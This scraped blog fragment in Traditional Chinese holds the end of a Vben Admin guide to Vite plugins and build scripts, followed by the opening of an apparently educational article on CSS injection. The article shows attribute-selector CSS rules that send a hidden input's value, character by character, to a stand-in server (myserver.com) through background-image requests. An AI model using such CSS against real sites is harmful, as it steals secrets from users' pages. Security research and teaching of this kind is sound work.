將配置的對像以JSON字符串格式拼接到變量字符串後面，最後用正則將空格去掉 const configStr = `${windowConf}=${JSON.stringify(config)}; Object.freeze(${windowConf}); Object.defineProperty(window, \u0026#34;${configName}\u0026#34;, { configurable: false, writable: false, }); `.replace(/\\s/g, \u0026#39;\u0026#39;); // ↓ 創建dist文件夾 fs.mkdirp(getRootPath(OUTPUT_DIR)); // ↓ 將字符串寫入到dist文件下的指定JS文件名的文件中 writeFileSync(getRootPath(`${OUTPUT_DIR}/${configFileName}`), configStr); console.log(chalk.cyan(`✨ [${pkg.name}]`) + ` - configuration file is build successfully:`); console.log(chalk.gray(OUTPUT_DIR + \u0026#39;/\u0026#39; + chalk.green(configFileName)) + \u0026#39;\\n\u0026#39;); } catch (error) { console.log(chalk.red(\u0026#39;configuration file configuration file failed to package:\\n\u0026#39; + error)); } } export function runBuildConfig() { // ↓ 獲取我們可以配置的環境變量對象 const config = getEnvConfig(); // ↓ 獲取配置文件的JS名 const configFileName = getConfigFileName(config); // ↓ 創建文件 createConfig({ config, configName: configFileName }); } 安裝yargs yargs的npm首頁：讀取你執行的命令行命令中的參數選項。\n1 2 yarn add yargs --dev yarn add @types/yargs --dev 編寫腳本觸發文件 chalk的npm首頁：一個彩色console.log的工具，這個依賴被其他依賴作為生產依賴安裝在本項目中了，所以也不去猜是哪個依賴的了，直接使用。\nbuild/script/postBuild.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 // #!/usr/bin/env node import { argv } from \u0026#39;yargs\u0026#39;; import { runBuildConfig } from \u0026#39;./buildConf\u0026#39;; import chalk from \u0026#39;chalk\u0026#39;; import pkg from \u0026#39;../../package.json\u0026#39;; // ↓ 定義創建配置文件的方法，最條件判斷 export const runBuild = async () =\u0026gt; { try { // 獲取命令中不以\u0026#39;-\u0026#39;開頭的參數 const argvList = argv._; // Generate configuration file // ↓ 如果參數中包含\u0026#39;no-conf\u0026#39;，那麼就不創建配置文件 if (!argvList.includes(\u0026#39;no-conf\u0026#39;)) { // ↓ 同步創建配置文件 await runBuildConfig(); } console.log(`✨ ${chalk.cyan(`[${pkg.name}]`)}` + \u0026#39; - build successfully!\u0026#39;); } catch (error) { console.log(chalk.red(\u0026#39;vite build error:\\n\u0026#39; + error)); process.exit(1); } }; // ↓ 執行方法 runBuild(); 安裝esno esno的npm首頁：命令行執行一個TS文件\n1 yarn add esno --dev 編寫腳本 在編譯的時候調用TS文件：\npackage.json 1 2 3 4 5 6 7 { \u0026#34;scripts\u0026#34;: { // ... \u0026#34;build\u0026#34;: \u0026#34;vite build \u0026amp;\u0026amp; esno ./build/script/postBuild.ts\u0026#34;, \u0026#34;build-noconf\u0026#34;: \u0026#34;vite build \u0026amp;\u0026amp; esno ./build/script/postBuild.ts no-conf\u0026#34; } } index.html注入配置文件 build/vite/plugin/html.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 /** * Plugin to minimize and use ejs template syntax in index.html. * https://github.com/anncwb/vite-plugin-html */ import type { Plugin } from \u0026#39;vite\u0026#39;; import type { ViteEnv } from \u0026#39;../../utils\u0026#39;; import html from \u0026#39;vite-plugin-html\u0026#39;; import pkg from \u0026#39;../../../package.json\u0026#39;; import { GLOB_CONFIG_FILE_NAME } from \u0026#39;../../constant\u0026#39;; export function configHtmlPlugin(env: ViteEnv, isBuild: boolean) { const { VITE_GLOB_APP_TITLE, VITE_PUBLIC_PATH } = env; const path = VITE_PUBLIC_PATH.endsWith(\u0026#39;/\u0026#39;) ? VITE_PUBLIC_PATH : `${VITE_PUBLIC_PATH}/`; const getAppConfigSrc = () =\u0026gt; { return `${path || \u0026#39;/\u0026#39;}${GLOB_CONFIG_FILE_NAME}?v=${pkg.version}-${new Date().getTime()}`; }; const htmlPlugin: Plugin[] = html({ minify: isBuild, inject: { // Inject data into ejs template injectData: { title: VITE_GLOB_APP_TITLE, }, // Embed the generated app.config.js file // ↓ 在此處插入 tags: isBuild ? [ { tag: \u0026#39;script\u0026#39;, attrs: { src: getAppConfigSrc(), }, }, ] : [], }, }); return htmlPlugin; } 注意 之後在業務邏輯中獲取環境變量，就需要從這個JS文件中獲取了。從而達到在生產環境改配置的需求。\n參考：src\\utils\\env.ts，但是這個後面再說。\nVite插件-vite-plugin-svg-icon 說明 當你使用該插件的時候，指定好存放svg的文件夾。再按照指定的方式去訪問svg圖片。就可以再不產生http請求的情況下渲染出svg圖片。\n使用該插件時，插件會自動將所有svg圖片加載到HTML中。並且每一個svg將會被過濾去無用的信息數據。讓svg達到最小的值。之後使用svg圖片就只需要操作DOM即可，而不需要發送http請求。\n安裝 1 yarn add vite-plugin-svg-icons --dev 創建配置 build/vite/plugin/svgSprite.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 /** * Vite Plugin for fast creating SVG sprites. * https://github.com/anncwb/vite-plugin-svg-icons */ import SvgIconsPlugin from \u0026#39;vite-plugin-svg-icons\u0026#39;; import path from \u0026#39;path\u0026#39;; export function configSvgIconsPlugin(isBuild: boolean) { const svgIconsPlugin = SvgIconsPlugin({ // ↓ 本地svg圖片地址 iconDirs: [path.resolve(process.cwd(), \u0026#39;src/assets/icons\u0026#39;)], svgoOptions: isBuild, // 圖標ID的樣式 symbolId: \u0026#39;icon-[dir]-[name]\u0026#39;, }); return svgIconsPlugin; } 選項svgOptions的boolean類型不太清楚是乾什麼的。但是對像類型是控制svg過濾無用信息的選項。使用true是使用默認選項，false時不知道做什麼的但是也沒什麼影響。\n用於配置 build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 10 // ... import { configSvgIconsPlugin } from \u0026#39;./svgSprite\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean) { // ... // vite-plugin-svg-icons vitePlugins.push(configSvgIconsPlugin(isBuild)); // ... return vitePlugins; } main導入 src/main.ts 1 2 3 // ... import \u0026#39;vite-plugin-svg-icons/register\u0026#39;; // ... 創建Svg組件 這裡有一個樣式，是全局上下文注入的。這個後面再講，先寫成string。\nsrc/components/Icon/src/SvgIcon.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 \u0026lt;template\u0026gt; \u0026lt;svg class=\u0026#34;vben-svg-icon\u0026#34; :class=\u0026#34;[$attrs.class]\u0026#34; :style=\u0026#34;getStyle\u0026#34; aria-hidden=\u0026#34;true\u0026#34;\u0026gt; \u0026lt;use :xlink:href=\u0026#34;symbolId\u0026#34; /\u0026gt; \u0026lt;/svg\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script lang=\u0026#34;ts\u0026#34;\u0026gt; import type { CSSProperties } from \u0026#39;vue\u0026#39;; import { defineComponent, computed } from \u0026#39;vue\u0026#39;; // import { useDesign } from \u0026#39;/@/hooks/web/useDesign\u0026#39;; export default defineComponent({ name: \u0026#39;SvgIcon\u0026#39;, props: { prefix: { type: String, default: \u0026#39;icon\u0026#39;, }, name: { type: String, required: true, }, size: { type: [Number, String], default: 16, }, }, setup(props) { // const { prefixCls } = useDesign(\u0026#39;svg-icon\u0026#39;); const symbolId = computed(() =\u0026gt; `#${props.prefix}-${props.name}`); const getStyle = computed( (): CSSProperties =\u0026gt; { const { size } = props; let s = `${size}`; s = `${s.replace(\u0026#39;px\u0026#39;, \u0026#39;\u0026#39;)}px`; return { width: s, height: s, }; } ); // prefixCls, return { symbolId, getStyle }; }, }); \u0026lt;/script\u0026gt; \u0026lt;style lang=\u0026#34;less\u0026#34; scoped\u0026gt; // @prefix-cls: ~\u0026#39;@{namespace}-svg-icon\u0026#39;; // .@{prefix-cls} { .vben-svg-icon { overflow: hidden; vertical-align: -0.15em; fill: currentColor; } \u0026lt;/style\u0026gt; Vite插件-vite-plugin-windicss 說明 在Vite上單獨使用Tailwind時，渲染速度很慢。\nvite-plugin-windicss比Tailwind快20到100倍。\nvite-plugin-windicss的npm首頁 windicss官網 安裝 1 yarn add vite-plugin-windicss --dev 創建Windicss配置文件 windicss的配置 tailwind的配置 tailwind.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 import lineClamp from \u0026#39;windicss/plugin/line-clamp\u0026#39;; import colors from \u0026#39;windicss/colors\u0026#39;; import { defineConfig } from \u0026#39;vite-plugin-windicss\u0026#39;; import { primaryColor } from \u0026#39;./build/config/themeConfig\u0026#39;; export default defineConfig({ darkMode: \u0026#39;class\u0026#39;, plugins: [lineClamp, createEnterPlugin()], theme: { extend: { colors: { ...colors, primary: primaryColor, }, screens: { sm: \u0026#39;576px\u0026#39;, md: \u0026#39;768px\u0026#39;, lg: \u0026#39;992px\u0026#39;, xl: \u0026#39;1200px\u0026#39;, \u0026#39;2xl\u0026#39;: \u0026#39;1600px\u0026#39;, }, }, }, }); /** * Used for animation when the element is displayed * @param maxOutput The larger the maxOutput output, the larger the generated css volume */ function createEnterPlugin(maxOutput = 10) { const createCss = (index: number, d = \u0026#39;x\u0026#39;) =\u0026gt; { const upd = d.toUpperCase(); return { [`*\u0026gt; .enter-${d}:nth-child(${index})`]: { transform: `translate${upd}(50px)`, }, [`*\u0026gt; .-enter-${d}:nth-child(${index})`]: { transform: `translate${upd}(-50px)`, }, [`* \u0026gt; .enter-${d}:nth-child(${index}),* \u0026gt; .-enter-${d}:nth-child(${index})`]: { \u0026#39;z-index\u0026#39;: `${10 - index}`, opacity: \u0026#39;0\u0026#39;, animation: `enter-${d}-animation 0.4s ease-in-out 0.3s`, \u0026#39;animation-fill-mode\u0026#39;: \u0026#39;forwards\u0026#39;, \u0026#39;animation-delay\u0026#39;: `${(index * 1) / 10}s`, }, }; }; const handler = ({ addBase }) =\u0026gt; { const addRawCss = {}; for (let index = 1; index \u0026lt; maxOutput; index++) { Object.assign(addRawCss, { ...createCss(index, \u0026#39;x\u0026#39;), ...createCss(index, \u0026#39;y\u0026#39;), }); } addBase({ ...addRawCss, [`@keyframes enter-x-animation`]: { to: { opacity: \u0026#39;1\u0026#39;, transform: \u0026#39;translateX(0)\u0026#39;, }, }, [`@keyframes enter-y-animation`]: { to: { opacity: \u0026#39;1\u0026#39;, transform: \u0026#39;translateY(0)\u0026#39;, }, }, }); }; return { handler }; } 創建配置文件 build/vite/plugin/windicss.ts 1 2 3 4 5 6 7 8 9 10 11 12 import type { Plugin } from \u0026#39;vite\u0026#39;; import windiCSS from \u0026#39;vite-plugin-windicss\u0026#39;; export function configWindiCssPlugin(): Plugin[] { return windiCSS({ safelist: \u0026#39;no-select\u0026#39;, preflight: { enableAll: true, }, }); } 應用配置 build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 // ... import { configWindiCssPlugin } from \u0026#39;./windicss\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean) { // ... // vite-plugin-windicss vitePlugins.push(configWindiCssPlugin()); return vitePlugins; } 導入樣式 src/main.ts 1 2 3 // ... import \u0026#39;@virtual/windi.css\u0026#39;; // ... Vite插件-vite-plugin-mock 說明 vite-plugin-mock的npm首頁\n根據我自己的實驗：\nlocalEnabled控制mock開發環境是否啟動。\n如果生產環境想要使用mock，只有prodEnabled為true，injectCode注入指定代碼時才會生效。\n安裝 1 yarn add mockjs vite-plugin-mock --dev 編寫Mock用例 這裡直接將根目錄下的mock目錄拷貝出來就行。\nmock\\_util.ts：裡面封裝的是數據請求結構類型。 mock\\_createProductionServer.ts：用於配置生產環境動態Mock的js文件，文檔中有說。 其他的：都是Mock用例，每一個js、ts，都要默認導出一個MockMethod類型的數組。每一項MockMethod就是攔截的一個方法。MockMethod的response對應方法的return將會被Mock實例處理。也就是說，你可以在return的對像中使用Mock規則。 不過_createProductionServer.ts中使用了Glob 導入。\n配置Mock build/vite/plugin/mock.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 /** * Mock plugin for development and production. * https://github.com/anncwb/vite-plugin-mock */ import { viteMockServe } from \u0026#39;vite-plugin-mock\u0026#39;; export function configMockPlugin(isBuild: boolean) { return viteMockServe({ // ↓ 忽略以_開頭的文件 ignore: /^\\_/, // ↓ 解析根目錄下的mock文件夾 mockPath: \u0026#39;mock\u0026#39;, localEnabled: !isBuild, prodEnabled: isBuild, injectCode: ` import { setupProdMockServer } from \u0026#39;../mock/_createProductionServer\u0026#39;; setupProdMockServer(); `, }); } 配置進Vite build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 10 // ... import { configMockPlugin } from \u0026#39;./mock\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean, pkg: any) { // ... // vite-plugin-mock VITE_USE_MOCK \u0026amp;\u0026amp; vitePlugins.push(configMockPlugin(isBuild)); return vitePlugins; } Vite插件-vite-plugin-purge-icons 說明 本章的插件是可以讓我們很方便高效的使用Iconify中所有的圖標。\n這裡要講的是Iconify各個版本插件的區別：\nVue3版Iconify插件：使用時需要安裝指定庫的圖標，然後靜態引用。每一次引用都會產生一次http請求。 PurgeIcons：將我們所使用的Iconify圖標都已html的dom節點形式保存在html中，這樣我們就可以不發送http請求就可以使用圖標了。 vite-plugin-purge-icons：就是Vite版的PurgeIcons。 vite-plugin-purge-icons的npm首頁\n安裝 1 2 yarn add @iconify/iconify yarn add vite-plugin-purge-icons @iconify/json --dev 配置Vite build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 10 11 // ... import PurgeIcons from \u0026#39;vite-plugin-purge-icons\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean) { // ... // vite-plugin-purge-icons vitePlugins.push(PurgeIcons()); // ... return vitePlugins; } 注意 Icon組件後面再封裝，由於我們main.ts中沒有引入vite-plugin-purge-icons。所以，這裡還不能使用。後面會動態生成圖標。\nVite插件-vite-plugin-style-import 說明 vite-plugin-style-import的npm首頁\n該插件可按需導入組件庫樣式，由於 vite 本身已按需導入了組件庫，因此僅樣式不是按需導入的，因此只需按需導入樣式即可。\n安裝 1 yarn add vite-plugin-style-import --dev 配置插件 build/vite/plugin/styleImport.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 /** * Introduces component library styles on demand. * https://github.com/anncwb/vite-plugin-style-import */ import styleImport from \u0026#39;vite-plugin-style-import\u0026#39;; export function configStyleImportPlugin() { // if (!isBuild) return []; const pwaPlugin = styleImport({ libs: [ { libraryName: \u0026#39;ant-design-vue\u0026#39;, esModule: true, resolveStyle: (name) =\u0026gt; { return `ant-design-vue/es/${name}/style/index`; }, }, ], }); return pwaPlugin; } 配置Vite build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 10 // ... import { configStyleImportPlugin } from \u0026#39;./styleImport\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean, pkg: any) { // ... // vite-plugin-style-import vitePlugins.push(configStyleImportPlugin()); return vitePlugins; } Vite插件-rollup-plugin-visualizer 說明 rollup-plugin-visualizer的npm首頁：依賴分析插件。 cross-env的npm首頁：命令行配置環境變量。 安裝 1 yarn add rollup-plugin-visualizer @types/rollup-plugin-visualizer --dev 配置插件 build/vite/plugin/visualizer.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 /** * Package file volume analysis */ import visualizer from \u0026#39;rollup-plugin-visualizer\u0026#39;; import { isReportMode } from \u0026#39;../../utils\u0026#39;; import type { Plugin } from \u0026#39;vite\u0026#39;; export function configVisualizerConfig() { if (isReportMode()) { return visualizer({ filename: \u0026#39;./node_modules/.cache/visualizer/stats.html\u0026#39;, open: true, // @ts-ignore gzipSize: true, // @ts-ignore brotliSize: true, }) as Plugin; } return []; } 配置Vite build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 10 // ... import { configVisualizerConfig } from \u0026#39;./visualizer\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean, pkg: any) { // ... // rollup-plugin-visualizer vitePlugins.push(configVisualizerConfig()); return vitePlugins; } 安裝cross-env 1 yarn add cross-env --dev 編輯腳本 package.json 1 2 3 4 5 6 7 8 9 { // ... \u0026#34;scripts\u0026#34;: { // ... \u0026#34;report\u0026#34;: \u0026#34;cross-env REPORT=true npm run build\u0026#34; // ... } // ... } Vite插件-vite-plugin-theme 說明 vite-plugin-theme的npm首頁：Git站點，npm的失效了。\n用於動態更改界面主題色的 vite 插件。\n配置插件 build/vite/plugin/theme.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 /** * Vite plugin for website theme color switching * https://github.com/anncwb/vite-plugin-theme */ import { viteThemePlugin, mixLighten, mixDarken, tinycolor } from \u0026#39;vite-plugin-theme\u0026#39;; import { getThemeColors, generateColors } from \u0026#39;../../config/themeConfig\u0026#39;; export function configThemePlugin() { const colors = generateColors({ mixDarken, mixLighten, tinycolor, }); const plugin = viteThemePlugin({ // ↓ 之前生成的很多個顏色 colorVariables: [...getThemeColors(), ...colors], }); return plugin; } 配置Vite build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 10 // ... import { configThemePlugin } from \u0026#39;./theme\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean, pkg: any) { // ... //vite-plugin-theme vitePlugins.push(configThemePlugin()); return vitePlugins; } 修改主題方法 之後要修改主題，直接調用一下這個方法即可。\nsrc/logics/theme/index.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import { getThemeColors, ThemeMode, generateColors } from \u0026#39;../../../build/config/themeConfig\u0026#39;; import { replaceStyleVariables } from \u0026#39;vite-plugin-theme/es/client\u0026#39;; import { mixLighten, mixDarken, tinycolor } from \u0026#39;vite-plugin-theme/es/colorUtils\u0026#39;; export async function changeTheme(color: string, theme?: ThemeMode) { const colors = generateColors({ mixDarken, mixLighten, tinycolor, color, }); return await replaceStyleVariables({ colorVariables: [...getThemeColors(color, theme), ...colors], }); } Vite插件-vite-plugin-imagemin 說明 vite-plugin-imagemin的npm首頁：一個壓縮圖片資源的 vite 插件。\n配置鏡像(用於安裝imagemin的依賴，因為中國可能沒有安裝imagemin。) 若非中國用戶，可跳過配置鏡像\npackage.json 1 2 3 4 \u0026#34;resolutions\u0026#34;: { \u0026#34;//\u0026#34;: \u0026#34;用於安裝imagemin的依賴關係，因為中國可能沒有安裝imagemin。\u0026#34;, \u0026#34;bin-wrapper\u0026#34;: \u0026#34;npm:bin-wrapper-china\u0026#34; }, 安裝 1 yarn add vite-plugin-imagemin --dev 配置插件 build/vite/plugin/imagemin.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 // Image resource files used to compress the output of the production environment // https://github.com/anncwb/vite-plugin-imagemin import viteImagemin from \u0026#39;vite-plugin-imagemin\u0026#39;; export function configImageminPlugin() { const plugin = viteImagemin({ gifsicle: { optimizationLevel: 7, interlaced: false, }, optipng: { optimizationLevel: 7, }, webp: { quality: 75, }, mozjpeg: { quality: 8, }, pngquant: { quality: [0.8, 0.9], speed: 4, }, svgo: { plugins: [ { removeViewBox: false, }, { removeEmptyAttrs: false, }, ], }, }); return plugin; } 配置Vite build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 10 11 12 // ... import { configImageminPlugin } from \u0026#39;./imagemin\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean, pkg: any) { // ... if (isBuild) { //vite-plugin-imagemin VITE_USE_IMAGEMIN \u0026amp;\u0026amp; vitePlugins.push(configImageminPlugin()); } return vitePlugins; } Vite插件-vite-plugin-compression 說明 vite-plugin-compression的npm首頁：vite-plugin-compress的增強版，壓縮用的。\n安裝 1 yarn add vite-plugin-compression --dev 配置插件 build/vite/plugin/compress.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 /** * Used to package and output gzip. Note that this does not work properly in Vite, the specific reason is still being investigated * https://github.com/anncwb/vite-plugin-compression */ import type { Plugin } from \u0026#39;vite\u0026#39;; import compressPlugin from \u0026#39;vite-plugin-compression\u0026#39;; export function configCompressPlugin(compress: \u0026#39;gzip\u0026#39; | \u0026#39;brotli\u0026#39; | \u0026#39;none\u0026#39;): Plugin | Plugin[] { const compressList = compress.split(\u0026#39;,\u0026#39;); const plugins: Plugin[] = []; if (compressList.includes(\u0026#39;gzip\u0026#39;)) { plugins.push( compressPlugin({ ext: \u0026#39;.gz\u0026#39;, }) ); } if (compressList.includes(\u0026#39;brotli\u0026#39;)) { plugins.push( compressPlugin({ ext: \u0026#39;.br\u0026#39;, algorithm: \u0026#39;brotliCompress\u0026#39;, }) ); } return plugins; } 配置Vite build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 // ... import { configCompressPlugin } from \u0026#39;./compress\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean, pkg: any) { // ... // The following plugins only work in the production environment if (isBuild) { // ... // rollup-plugin-gzip vitePlugins.push(configCompressPlugin(VITE_BUILD_COMPRESS)); } return vitePlugins; } Vite插件-vite-plugin-pwa 說明 vite-plugin-pwa的npm首頁：PWA一些技術集成。 Service Worker-參考鏈接 PWA-MDN說明 B站-PWA黑馬公開課教學 安裝 1 yarn add vite-plugin-pwa --dev 配置插件 build/vite/plugin/pwa.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 /** * Zero-config PWA for Vite * https://github.com/antfu/vite-plugin-pwa */ import type { ViteEnv } from \u0026#39;../../utils\u0026#39;; import { VitePWA } from \u0026#39;vite-plugin-pwa\u0026#39;; export function configPwaConfig(env: ViteEnv) { const { VITE_USE_PWA, VITE_GLOB_APP_TITLE, VITE_GLOB_APP_SHORT_NAME } = env; if (VITE_USE_PWA) { // vite-plugin-pwa const pwaPlugin = VitePWA({ manifest: { name: VITE_GLOB_APP_TITLE, short_name: VITE_GLOB_APP_SHORT_NAME, icons: [ { // ./表示public文件夾 src: \u0026#39;./resource/img/pwa-192x192.png\u0026#39;, sizes: \u0026#39;192x192\u0026#39;, type: \u0026#39;image/png\u0026#39;, }, { src: \u0026#39;./resource/img/pwa-512x512.png\u0026#39;, sizes: \u0026#39;512x512\u0026#39;, type: \u0026#39;image/png\u0026#39;, }, ], }, }); return pwaPlugin; } return []; } 配置Vite build/vite/plugin/index.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 // ... import { configPwaConfig } from \u0026#39;./pwa\u0026#39;; export function createVitePlugins(viteEnv: ViteEnv, isBuild: boolean, pkg: any) { // ... // The following plugins only work in the production environment if (isBuild) { // ... // vite-plugin-pwa vitePlugins.push(configPwaConfig(viteEnv)); } return vitePlugins; } Vite配置-optimizeDeps.include 說明 Vite配置-optimizedeps-include說明\n原文：\n類型： string[]\n默認情況下，不在 node_modules 中的，鏈接的包不會被預構建。使用此選項可強制預構建鏈接的包。\n安裝moment antd中需要使用moment。而moment配置和本章有關，所以就順便安裝一下：\n1 yarn add moment 配置Vite vite.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // ... function pathResolve(dir: string) { return resolve(__dirname, \u0026#39;.\u0026#39;, dir); } export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { // ... return { // ... optimizeDeps: { // @iconify/iconify: The dependency is dynamically and virtually loaded by @purge-icons/generated, so it needs to be specified explicitly include: [ \u0026#39;@iconify/iconify\u0026#39;, \u0026#39;ant-design-vue/es/locale/zh_CN\u0026#39;, \u0026#39;moment/dist/locale/zh-cn\u0026#39;, \u0026#39;ant-design-vue/es/locale/en_US\u0026#39;, \u0026#39;moment/dist/locale/eu\u0026#39;, ], // ... }, }; }; Vite配置-optimizeDeps.exclude 說明 Vite配置-optimizedeps-exclude說明\n原文：\n類型： string[]\n在預構建中強制排除的依賴項。\n配置Vite vite.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 // ... export default ({ command, mode }: ConfigEnv): UserConfig =\u0026gt; { // ... return { // ... optimizeDeps: { // ... exclude: [\u0026#39;vue-demi\u0026#39;], }, }; }; http-server 說明 項目編譯之後的靜態文件是不能直接本地訪問的。因為本地訪問使用的是file:///協議。而file:///不支持跨域和一些其他特性。比如JavaScript模塊、PWA等等。\n那麼此時就需要換一種訪問本地文件的方式了，就是讓本地成為一個服務器。通過http來訪問。\nhttp-server就可以實現以http形式訪問本地文件的目的，但是這個依賴不保證安全，只用於本地測試。\nhttp-server的npm首頁：命令行啟動一個本地服務器。不安全，但是可以用來測試。\n安裝 1 yarn add http-server --dev 配置腳本 package.json 1 2 3 4 5 6 7 8 9 10 { // ... \u0026#34;scripts\u0026#34;: { // ... \u0026#34;test:gzip\u0026#34;: \u0026#34;http-server dist --cors --gzip -c-1\u0026#34;, \u0026#34;test:br\u0026#34;: \u0026#34;http-server dist --cors --brotli -c-1\u0026#34;, // ... }, // ... } ","date":"2022-10-12T00:00:00Z","image":"https://live.staticflickr.com/65535/52422113584_3af97c79da_o.png","permalink":"https://blog.wayne-project.com/2022-10-12/vben-admin-guide/","title":"Vben Admin 指南與 Vite 配置"},{"content":" 用 CSS 來偷資料 - CSS injection（上） 參考文章 用 CSS 來偷資料 - CSS injection - Huli CSS Injection Attacks CSS Injection Primitives HackTricks - CSS Injection Stealing Data in Great style – How to Use CSS to Attack Web Application. Data Exfiltration via CSS + SVG Font Data Exfiltration via CSS + SVG Font - PoC (Safari only) CSS data exfiltration in Firefox via a single injection point 前言 在講到針對網頁前端的攻擊時，你我的心中浮現的八成會是 XSS，但如果你沒辦法在網頁上執行 JavaScript，有沒有其他的攻擊手法呢？例如說，假設可以插入 style 標籤，你能夠做些什麼？\n在 2018 年的時候，我有寫過一篇 CSS keylogger：攻擊與防禦，那時剛好在 Hacker News 上面看到相關的討論，於是就花了點時間研究了一下。\n而 4 年後的現在，我從資安的角度重新認識了這個攻擊手法，因此打算寫一兩篇文章來好好講解 CSS injection。\n這篇的文章內容包含：\n什麼是 CSS injection？ CSS 偷資料的原理 如何偷 hidden input 的資料 如何偷 meta 的資料 承上，並以 HackMD 為例 什麼是 CSS injection？ 顧名思義，CSS injection 代表的是你在一個頁面上可以插入任何的 CSS 語法，或是講得更明確一點，你可以使用 \u0026lt;style\u0026gt; 這個標籤。你可能會好奇，為什麼會有這種狀況？\n我自己認為常見的狀況有兩個，第一個是網站有過濾掉許多標籤，但不覺得 \u0026lt;style\u0026gt; 有問題，所以沒有過濾掉。例如說很多網站都會用現成的 library 來處理 sanitization，其中有一套很有名的叫做 DOMPurify。\n在 DOMPurify(v2.4.0) 之中，預設就會幫你把各種危險的標籤全都過濾掉，只留下一些安全的，例如說 \u0026lt;h1\u0026gt; 或是 \u0026lt;p\u0026gt; 這種，而重點是 \u0026lt;style\u0026gt; 也在預設的安全標籤裡面，所以如果你沒有特別指定參數，在預設的狀況下，\u0026lt;style\u0026gt; 是不會被過濾掉的，因此攻擊者就可以注入 CSS。\n第二種狀況則是雖然可以插入 HTML，但是由於 CSP（Content Security Policy）的緣故，沒有辦法執行 JavaScript。既然沒辦法執行 JavaScript，就只能退而求其次，看看有沒有辦法利用 CSS 做出一些惡意行為。\n那到底有了 CSS injection 之後可以幹嘛？CSS 不是拿來裝飾網頁用的而已嗎？難道幫網頁的背景換顏色也可以是一個攻擊手法？\n利用 CSS 偷資料 CSS 確實是拿來裝飾網頁用的，但是只要結合兩個特性，就可以使用 CSS 來偷資料。\n第一個特性：屬性選擇器。\n在 CSS 當中，有幾個選擇器可以選到「屬性符合某個條件的元素」。舉例來說，input[value^=a]，就可以選到 value 開頭是 a 的元素。\n類似的選擇器有：\ninput[value^=a] 開頭是 a 的（prefix） input[value$=a] 結尾是 a 的（suffix） input[value*=a] 內容有 a 的（contains） 而第二個特性是：可以利用 CSS 發出 request，例如說載入一張伺服器上的背景圖片，本質上就是在發一個 request。\n假設現在頁面上有一段內容是 \u0026lt;input name=\u0026quot;secret\u0026quot; value=\u0026quot;abc123\u0026quot;\u0026gt;，而我能夠插入任何的 CSS，我可以這樣寫：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;a\u0026#34;] { background: url(https://myserver.com?q=a) } input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;b\u0026#34;] { background: url(https://myserver.com?q=b) } input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;c\u0026#34;] { background: url(https://myserver.com?q=c) } //.... input[name=\u0026#34;secret\u0026#34;][value^=\u0026#34;z\u0026#34;] { background: url(https://myserver.com?q=z) } 會發生什麼事情？\n因為第一條規則有順利找到對應的元素，所以 input 的背景就會是一張伺服器上的圖片，而瀏覽器就會發 request 到 https://myserver.com?q=a。\n因此，當我在 server 收到這個 request 的時候，我就知道「input 的 value 屬性，第一個字元是 a」，就順利偷到了第一個字元。\n這就是 CSS 之所以可以偷資料的原因，透過屬性選擇器加上載入圖片這兩個功能，就能夠讓 server 知道頁面上某個元素的屬性值是什麼。\n好，現在確認 CSS 可以偷屬性的值了，接下來有兩個問題：\n有什麼東西好偷？ 你剛只示範偷第一個，要怎麼偷第二個字元？ 